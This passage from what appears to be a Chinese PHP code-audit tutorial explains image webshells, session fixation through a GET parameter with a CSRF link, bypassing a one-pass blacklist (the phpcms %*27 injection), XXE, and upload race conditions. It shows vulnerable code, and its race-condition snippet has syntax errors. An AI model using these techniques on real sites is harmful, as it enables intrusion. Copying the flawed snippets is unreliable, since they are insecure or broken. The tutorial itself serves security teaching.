生成好的圖片,在經過如下代碼處理後,依然能保留其中的shell:

<?php
    imagecreatefromjpeg('xxxx.jpg');
?>

會話固定

if(!empty($_GET['phpsessid'])) session_id($_GET['phpsessid']);//通過GET方法傳遞sessionid

通過get方法來設置session。所以可以通過CSRF:

http://xxxx/index.php?r=admin/index/index&phpsessid=f4cking123

管理員點了我們就能使用此session進後臺了。

黑名單繞過

原理:通過黑名單將敏感字符替換爲空,然而只按順序執行一次。可通過故意過濾構造payload.

## %*27
## 經典如phpcms9.6.0注入,過濾後去掉了*,剩下的%27即可使用。
function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','&quot;',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','&lt;',$string);
    $string = str_replace('>','&gt;',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}

XXE注入

原理:simplexml_load_file函數的參數過濾不嚴,導致引入外部實體。產生任意文件讀取。

文件上傳條件競爭

原理:

後臺邏輯:將上傳的文件上傳到Web目錄,然後檢查文件的安全性,如果發現文件不安全就馬上通過unlink()將其刪除。
利用方法:在上傳完成和安全檢查完成並刪除它的間隙,攻擊者通過不斷地發起訪問請求的方法訪問了該文件,該文件就會被執行,並且在服務器上生成一個惡意shell。這時候shell已經生成,文件被刪除就無所謂了。

<?php
  if($_FILES["file"]["error"] > 0)){
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
    //check file
    unlink("upload/"._FILES["file"]["name"]));
 }
?>

資料

https://github.com/bowu678/php_bugs

https://github.com/jiangsir404/Audit-Learning

https://read.douban.com/reader/ebook/16642056/

https://github.com/SecWiki/CMS-Hunter

https://github.com/CHYbeta/Code-Audit-Challenges

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章